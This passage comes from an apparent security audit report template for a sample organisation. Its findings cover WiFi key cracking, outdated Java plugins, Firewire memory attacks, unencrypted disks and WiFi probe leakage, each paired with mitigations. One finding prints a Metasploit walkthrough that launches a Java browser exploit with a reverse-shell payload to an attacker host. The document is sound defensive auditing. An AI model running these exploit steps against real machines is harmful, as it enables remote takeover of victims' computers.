                       23 D9 31 25 5D B1 CF EA 99 2C B3 D7 E5 7F 91 2D
                       56 25 D5 9A 1F AD C5 02 E3 2C C9 ED 74 55 BA 94
                       D6 F5 0A D1 3B FB 39 40 19 C9 BA 65 2E 49 3D 14

      EAPOL HMAC     : F1 DF 09 C4 5A 96 0B AD 83 DD F9 07 4E FA 19 74
```

The fourth line of the above output provides some useful information about the effectiveness of a strong WPA key. That rate of approximately 2000 keys per second means that a full-on, brute-force attack against a similar-length key that was truly random (and therefore immune to dictionary-based attacks) would take about 70^9 or 20 trillion seconds, which is well over 600,000 years. Or, for those who favor length and simplicity over brevity and complexity, a key containing four words chosen from among the 10,000 most common English dictionary words would still take approximately 150,000 years to crack (using this method on an average laptop).

It is worth noting that an attacker with the resources and the expertise could increase this rate by a factor of a hundred. Using a computer with powerful graphical processing units (GPUs) or a cloud computing service like Amazons EC2, it is possible to test 250,000 or more keys per second. A setup like this would still take several lifetimes to guess a strong password, however.

Regardless, the success of this attack against SampleOrgs wireless network would allow an attacker to bypass all perimeter controls, including the network firewall. Without access to the office LAN, a non-ISP, non-government attacker would have to position himself on the same network as an external staff member in order to exploit any flaws in the organization's email or file-sharing services. With access to the local network, however, that attacker could begin carrying out *Local* attacks quite quickly, and from a distance.

With regard to the distance from which an attacker could maintain such access, SampleOrgs office WiFi network appears to have a relatively strong signal, which extends to the street out front:

```
<photograph of location>
```

```
<screenshot of WiFi strength>
```

Figure 1: WiFi signal strength from a nearby location

Mitigation

Choose a strong WPA key for the wireless LAN

The WPA key should be long enough and complex enough to prevent both standard dictionary attacks and brute-force attacks in which clusters of powerful computers work in parallel to test every possible character combination. (We recommend 12 or more completely random characters or a passphrase that contains four or fiveor morerelatively uncommon words.) The key should not contain common phrases, including number sequences, especially if they are related to the organization, its employees or its work. Choosing a strong WPA key is one of the most important steps toward defending an organization's network perimeter from an adversary with the ability to spend some time in the vicinity of the offices. By extension, mitigating this vulnerability is critical to the protection of employees and partners (and confidential data) from the sort of persistent exposure that eventually brings down even the most well-secured information systems.

Because shared keys inevitably end up being written on whiteboards, given to office visitors and emailed to partners, the WPA key should also be changed periodically. This does not have to happen frequently, but anything less than three or four times per year may be unsafe.

Issue: 3.1.2 WPS (PIN entry) weakens WiFi security [STUB]

Priority	High
Hosts affected	

<description>

Evidence

3.1.2 [sample evidence] WPS (PIN entry) weakens WiFi security [STUB]

Description and Walkthrough

Mitigation

<mitigation>

<mitigation description>

Issue: 3.1.3 Weak WiFi encryption (WEP) [STUB]

Priority	High
Hosts affected	

<description>

Evidence

3.1.3 [Sample evidence] Weak WiFi encryption (WEP) [STUB]

Description and Walkthrough

Mitigation

Upgrade to WPA2 Encryption

WEP provides no effective protection for a wifi network. Most wifi routers offer WPA encryption as an option, and if this is available it should be immediately implemented. Some older routers (and wifi devices) do not support WPA. It is highly recommended to upgrade immediately to hardware that supports WPA and to eliminate all WEP network access.

Issue: 4.1.1 Outdated Java browser plugins

Priority	High
Hosts affected	

One or more of the organization's laptops were seen to be running an outdated version of the Java plugin for Internet Explorer. This version contains a vulnerability that is easily exploitable using one of the recent Java exploit modules from the widely available Metasploit security auditing framework. These modules allow an attacker to gain complete control over the computer of a victim who visits a malicious Web site hosted anywhere on the Internet. If the attacker is inside the office LAN, he can easily trick the victim into visiting that malicious Web site without the victim even knowing it.

Evidence

4.1.1 [Sample evidence] Outdated Java browser plugins

Description and Walkthrough

While the threat described below is more severe if carried out by a local attacker (as she can more readily direct the victim to her malicious Web site), it also works remotely. In fact, if a user can be tricked, by a remote attacker, into clicking on a malicious email or Web link, attacks like this represent a significant perimeter threat. By compromising the victims machine, they can give the attacker a local point-of-presence without requiring her to crack WPA keys or gain local access in some other way.

Step 1: Using Metasploit, an attacker can easily create an ad hoc malicious Web site:

```
$ msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.___|__.-'
```

```
I love shells --egypt


       =[ metasploit v4.7.0-dev [core:4.7 api:1.0]
+ -- --=[ 1114 exploits - 627 auxiliary - 178 post
+ -- --=[ 307 payloads - 30 encoders - 8 nops

msf > use exploit/multi/browser/java_jre17_exec

msf exploit(java_jre17_exec) > set PAYLOAD java/shell/reverse_tcp
PAYLOAD => java/shell/reverse_tcp

msf exploit(java_jre17_exec) > set LHOST 192.168.1.123
LHOST => 192.168.1.123

msf exploit(java_jre17_exec) > set SRVPORT 8081
SRVPORT => 8081

msf exploit(java_jre17_exec) > set URIPATH java_test
URIPATH => java_test

msf exploit(java_jre17_exec) > run
[*] Exploit running as background job.
...
```

Step 2: At this point, any local user who visits http://192.168.1.123:8081/java_test, and who is running a sufficiently out-of-date version of the Java browser plugin, stands a good chance of giving the attacker full access to his computer:

```
...
[*] Started reverse handler on 192.168.1.123:4444

msf exploit(java_jre17_exec) >

[*] Using URL: http://0.0.0.0:8081/java_test
[*] Local IP: http://192.168.1.123:8081/java_test
[*] Server started.

msf exploit(java_jre17_exec) >
```

```
<remote shell>
```

Figure 1: Attacker in control of the victims computer through a remote command shell

MITIGATION

UPDATE KEY SOFTWARE ON STAFF MACHINES

At least one of the organization's computers is running an outdated Java browser plugin, and exploit code is widely-available for several critical vulnerabilities in versions older than Java 7, update 16. All of the organizations Java installations should be updated to the latest version. This can be troublesome, as (unlike the Windows operating system itself) Java plugins sometimes require user input before they will install updates.

Issue: 4.2.1 Unsigned NTLM authentication messages vulnerable to Man-in-the-Middle attack on SMB file servers

Priority	Medium
Hosts affected	

Unsigned NTLM authentication messages allow an attacker on the LAN to add, remove or copy files to and from the organization's file servers (and workstations with filesharing enabled).

Evidence

4.2.1 [Sample evidence] Unsigned NTLM authentication messages vulnerable to Man-in-the-Middle attack on SMB file servers [STUB]

Description and Walkthrough

Mitigation

<MITIGATION>
<mitigation description>

Issue: 5.1.1 Firewire ports and expansion slots can be abused to obtain data that are thought to be encrypted

Priority	Medium
Hosts affected	

Any attacker who obtains a *running* (including sleeping and hibernating!) Windows, Mac, or even Linux laptop with a Firewire port, an ExpressCard expansion slot, or a Thunderbolt port will be able to read, record or modify any sensitive information on the device, even if the screen is locked and the information is stored on an encrypted volume or in an encrypted folder. This applies to threats involving loss, theft and confiscation, but also to checkpoint scenarios in which the attacker may only have access for a few minutes.

This attack requires physical control of a machine that is not powered off. Full details of the scope of the attack are available at http://www.breaknenter.org/projects/inception/ .

Evidence

5.1.1 [Sample evidence] Firewire ports and expansion slots can be abused to obtain data that are thought to be encrypted

Description and Walkthrough

The threat describe in this section is more complex than it needs to be. In fact, unencrypted data are vulnerable to any number of simple attacks, the two most straightforward being: 1) rebooting the computer from a USB stick CD-ROM or DVD containing an alternate operating system, then copying all of the data; or 2) removing the hard drive,

inserting it into a different machine, then copying all of the data. These techniques, which work on nearly any computer, even if a strong login password has been set, are effective and widely used, but they require extended physical access to the device. A slightly different attack is described below, one that only requires physical access for a few minutes. It, too, works regardless of login/screen-lock passwords, though only devices with Firewire ports or expansion slots (ExpressCard, CardBus, PCMCIA, etc.) are vulnerable.

The steps required to defend against all of these threats is the same: encrypt your data using a tool like Microsofts BitLocker, Apple's FileVaule or the open-source Truecrypt application. The Firewire attack highlighted here is particularly illustrative, however, because it serves as a reminder that merely setting up an encrypted volume is not enough. In much the same way that a lock does little to protect your home if the door to which it is attached remains open, data encryption is rarely effective while you are logged into your computer. Even if the screen is locked (which would foil the reboot and hard drive removal attacks described briefly above), an attacker may still find a way to access your sensitive data, while the computer is up and running, because the decryption key is present in the computers memory. (This is how large-scale encryption actually works. Information remains encrypted at all times, on the storage device where it lives, but you are able to access it while you are logged in, or while your encrypted volume is open, because your computer decrypts and encrypts it on the fly.)

Mitigation

Remove FireWire Drivers, completely turn off computer when at risk

The easiest protection against this is to completely shut down your computer any time there is a chance of confiscation.

If possible, the best protection against this is to remove or disable the SBP-2 and the FireWire drivers (Windows: http://support.microsoft.com/kb/2516445 , Linux: http://www.hermann-uwe.de/blog/physical-memory-attacks-via-firewire-dma-part-1-overview-and-mitigation) . For Mac, upgrading to the most recent operating system (but at least 10.7.2/Lion!)

Issue: 5.1.2 Insecure storage of sensitive data, particularly on laptops of traveling staff

Priority	High
Hosts affected	

An attacker who obtains a staff laptop will be able to read, record or modify any sensitive information on the device, even if that staff member has set a strong Windows password. This applies to threats involving loss, theft and confiscation, but also to checkpoint scenarios in which the attacker may only have access for a few minutes. Furthermore, in the event of a burglary or office raid, an attacker could easily obtain all sensitive information on the organizations laptops within a few hours. And, if she were able to enter and leave the building without being noticed, SampleOrg might not even realize that its data had been compromised.

Evidence

5.1.2 [sample evidence] Insecure storage of sensitive data, particularly on laptops of traveling staff [STUB]

DESCRIPTION AND WALKTHROUGH

MITIGATION

HARD DISK ENCRYPTION

All staff computers, but especially the laptops used by those who travel to and from remote work sites, should be configured to use Microsoft BitLocker or Truecrypt encryption. The former is free-of-charge for anyone with a valid Windows 7 Ultimate license, and the latter is Free and Open Source Software (FOSS). For Apple OSX users, FileVault is a built-in alternative that is also free-of-charge. All three solutions provide a way to encrypt data on USB memory sticks, as well, which is essential if such devices are being used to transport sensitive, work-related data.

ISSUE: 5.1.3 DATA ON OFFICE WORKSTATIONS AND SERVERS ARE UNENCRYPTED

Priority	High
Hosts affected	

In the event of a burglary or office raid, an attacker could easily obtain all sensitive information on the organization's desktop and server machines, even if they are configured with strong login passwords. If the attacker is able to enter and leave the building without being noticed, you may not be aware that this attack - which can be carried out in a few hours - has taken place. While few tools provide great safety against a physical break-in, there are ways to make it more challenging for an adversary to gather critical data.

EVIDENCE

5.1.3 [SAMPLE EVIDENCE] DATA ON OFFICE WORKSTATIONS AND SERVERS ARE UNENCRYPTED [STUB]

DESCRIPTION AND WALKTHROUGH

MITIGATION

ENABLE HARD DRIVE ENCRYPTION

In addition to critical data being stored in a more secure part of the office, and protected with strong passwords (with automatic time-outs to lock-screens configured), encrypting the hard drives means that if a server is powered down for transport, recovering data from its hard drives will be almost impossible.

Servers, external hard drives, and backup systems should be configured to use some form of hard drive encryption. For Windows, Microsoft BitLocker is built in to the latest versions, free-of-charge for anyone with a valid Windows 7 “Ultimate” license or Windows 8. For Apple OSX users, FileVault2 is a built-in alternative that is also free-of-charge. TrueCrypt is a cross-platform solution that is open source and free of charge, and can work on Mac, Windows, and Linux machines as well. All three solutions provide a way to encrypt data on internal drives as well as external hard drives, and USB memory sticks.

ISSUE: 5.2.1 DEVICE BROADCASTS PREVIOUSLY USED WIFI NETWORK NAMES

Priority	Medium
Hosts affected	

Each wireless device maintains a memory of what networks it has successfully connected to. When it is connecting to a network, it sends out probes to all of the networks it has in this memory. These probes can reveal personal, organizational, and locational information that, taken in context, can be dangerous or lead to other vulnerabilities.

It is important to note that this data gets broadcast widely, and can be collected without any network access, only proximity to the device.

Before attempting to gain internal access to the wireless network, it can be valuable to to listen to the wireless traffic as close to the physical office location as possible, even without knowing anything about the network itself. This outside, passive information gathering can reveal a surprising amount of data on not only what devices are connecting to which networks, but what other networks those devices have historically connected to.

These network probes can often contain names (especially from mobile phone tethers), organizational affiliations, and a mixture of other potentially valuable data (home network names, recent airports, cafs and conference networks). If there are many networks in the office's vicinity, this will help identify the specific office network (if there is any doubt).

Evidence

5.2.1 [Sample evidence] Device broadcasts previously used WiFi network names [STUB]

Description and Walkthrough

Mitigation

Cleanse wifi network connection history

For most devices, deleting networks from the saved network list will stop them from being probed. Obviously, this can be an annoyance for networks you regularly connect to, so renaming these networks to non-revealing names would help, as would creating non-name-associated guest networks for colleagues connecting to your home network.

Making sure that mobile hotspots/tethers do not broadcast your name is useful for many reasons.

On iPhones and iPads, it is not possible to selectively remove historical networks unless you are currently in range of that network.

It is however possible to remove all history: go to Settings > General > Reset > Reset Network Settings . When you take this step, it is worth going through this reset multiple times (approximately once per year of device ownership), as the first reset appears to only remove recently-connected networks, and older networks will be broadcast.